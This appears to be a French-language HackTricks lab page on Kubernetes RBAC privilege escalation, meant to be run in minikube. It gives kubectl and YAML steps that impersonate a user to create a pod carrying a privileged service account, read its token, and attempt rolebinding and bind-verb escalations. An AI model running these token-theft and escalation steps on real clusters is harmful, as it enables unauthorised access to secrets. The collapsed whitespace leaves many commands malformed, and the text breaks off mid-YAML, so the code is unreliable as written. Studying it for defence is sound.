Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou si vous souhaitez accéder à la dernière version de PEASS ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
Vous pouvez exécuter ces laboratoires à l'intérieur de minikube.
Création de Pod -> Escalade vers ns SAs
Nous allons créer :
Un compte de service "test-sa" avec un privilège de cluster pour lire les secrets
Un ClusterRole "test-cr" et un ClusterRoleBinding "test-crb" seront créés
Des permissions pour lister et créer des pods seront données à un utilisateur appelé "Test"
Un rôle "test-r" et un RoleBinding "test-rb" seront créés
Ensuite, nous allons confirmer que le SA peut lister les secrets et que l'utilisateur Test peut lister les pods
Enfin, nous allons usurper l'utilisateur Test pour créer un pod qui inclut le SA test-sa et voler le jeton du compte de service.
C'est la façon de montrer que l'utilisateur pourrait escalader les privilèges de cette manière
Pour créer le scénario, un compte administrateur est utilisé.
De plus, pour exfiltrer le jeton sa dans cet exemple, le compte administrateur est utilisé pour exécuter à l'intérieur du pod créé. Cependant, comme expliqué ici, la déclaration du pod pourrait contenir l'exfiltration du jeton, donc le privilège "exec" n'est pas nécessaire pour exfiltrer le jeton, la permission "create" suffit.
# Créer le compte de service test-sa# Créer un rôle et un RoleBinding pour donner des autorisations de liste et de création sur les pods dans l'espace de noms par défaut à l'utilisateur Test
# Créer un clusterrole et un clusterrolebinding pour donner à SA test-sa l'accès aux secrets partoutecho'apiVersion: v1kind: ServiceAccountmetadata: name: test-sa---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-rrules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-rbsubjects: - kind: ServiceAccount name: test-sa - kind: User name: TestroleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io---kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-crrules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: test-crbsubjects: - kind: ServiceAccount namespace: default name: test-sa apiGroup: ""roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io'|kubectlapply-f-# Vérifier que test-sa peut accéder aux secrets de kube-systemkubectl--assystem:serviceaccount:default:test-sa-nkube-systemgetsecrets# Vérifier que l'utilisateur User peut obtenir des pods dans l'espace de noms par défautkubectl--asTest-ndefaultgetpods# Créer un pod en tant qu'utilisateur Test avec le SA test-sa (étape de privesc)echo"apiVersion: v1kind: Podmetadata: name: test-pod namespace: defaultspec: containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000'] serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true"|kubectl--asTestapply-f-# Se connecter au pod créé et confirmer que le jeton SA attaché appartient à test-sakubectlexec-ti-ndefaulttest-pod--cat/var/run/secrets/kubernetes# Connectez-vous au pod créé et confirmez que le jeton SA attaché appartient à test-sakubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Nettoyez le scénariokubectldeletedaemonsetalpinekubectldeleteclusterrolebindingtest-crbkubectldeleteclusterroletest-crkubectldeleterolebindingtest-rbkubectldeleteroletest-rkubectldeleteserviceaccounttest-sa
Ne fonctionne pas
Créer/Modifier des Bindings
Ne fonctionne pas:
Créer un nouveau RoleBinding juste avec le verbe create
Créer un nouveau RoleBinding juste avec le verbe patch (vous devez avoir les autorisations de liaison)
Vous ne pouvez pas le faire pour vous attribuer le rôle ou pour un SA différent
Modifier un nouveau RoleBinding juste avec le verbe patch (vous devez avoir les autorisations de liaison)
Vous ne pouvez pas le faire pour vous attribuer le rôle ou pour un SA différent
echo'apiVersion: v1kind: ServiceAccountmetadata: name: test-sa---apiVersion: v1kind: ServiceAccountmetadata: name: test-sa2---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-rrules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["rolebindings"] verbs: ["get", "patch"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-rbsubjects: - kind: User name: TestroleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-r2rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-rb2subjects: - kind: ServiceAccount name: test-sa apiGroup: ""roleRef: kind: Role name: test-r2 apiGroup: rbac.authorization.k8s.io'|kubectlapply-f-# Créez un pod en tant qu'utilisateur Test avec le SA test-sa (étape de privesc)echo"apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-r2subjects: - kind: ServiceAccount name: test-sa2 apiGroup: ""roleRef: kind: Role name: test-r2 apiGroup: rbac.authorization.k8s.io"|kubectl--asTestapply-f-# Connectez-vous au pod créé et confirmez que le jeton SA attaché appartient à test-sakubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Nettoyez le scénariokubectldeleterolebindingtest-rbkubectldeleterolebindingtest-rb2kubectldeleteroletest-rkubectldeleteroletest-r2kubectldeleteserviceaccounttest-sakubectldeleteserviceaccounttest-sa2
Bindings explicites
Dans la section "Prévention de l'escalade de privilèges et amorçage" de https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/, il est mentionné que si un SA peut créer une liaison et a des autorisations explicites de liaison sur le rôle/cluster role, il peut créer des liaisons même en utilisant des rôles/clusterroles avec des autorisations qu'il n'a pas.
Cependant, cela n'a pas fonctionné pour moi:
# Créez 2 SA, donnez à l'un d'eux des autorisations pour créer des clusterrolebindings# et des autorisations de liaison sur le ClusterRole "admin"echo 'apiVersion:v1kind:ServiceAccountmetadata:name:test-sa---apiVersion:v1kind:ServiceAccountmetadata:name:test-sa2---kind:ClusterRoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-crrules: - apiGroups: ["rbac.authorization.k8s.io"]resources: ["clusterrolebindings"]verbs: ["get","create"] - apiGroups: ["rbac.authorization.k8s.io/v1"]resources: ["clusterroles"]verbs: ["bind"]resourceNames: ["admin"]---apiVersion:rbac.authorization.k8s.io/v1kind:ClusterRoleBindingmetadata:name:test-crbsubjects: - kind:ServiceAccountname:test-sanamespace:defaultroleRef:kind:ClusterRolename:test-crapiGroup:rbac.authorization.k8s.io' | kubectl apply -f -# Essayez de lier le ClusterRole "admin" avec le deuxième SA (ne fonctionnera pas)echo 'apiVersion:rbac.authorization.k8s.io/v1kind:ClusterRoleBindingmetadata:name:test-crb2subjects: - kind:ServiceAccountname:test-sa2namespace:defaultroleRef:kind:ClusterRolename:adminapiGroup:rbac.authorization.k8s.io' | kubectl --as system:serviceaccount:default:test-sa apply -f -# Nettoyer l'environnementkubectl delete clusterrolebindings test-crbkubectl delete clusterrolebindings test-crb2kubectl delete clusterrole test-crkubectl delete serviceaccount test-sakubectl delete serviceaccount test-sa
# Comme dans l'exemple précédent, mais dans ce cas, nous essayons d'utiliser des RoleBindings# au lieu de CLusterRoleBindingsecho 'apiVersion:v1kind:ServiceAccountmetadata:name:test-sa---apiVersion:v1kind:ServiceAccountmetadata:name:test-sa2---kind:ClusterRoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-crrules: - apiGroups: ["rbac.authorization.k8s.io"]resources: ["clusterrolebindings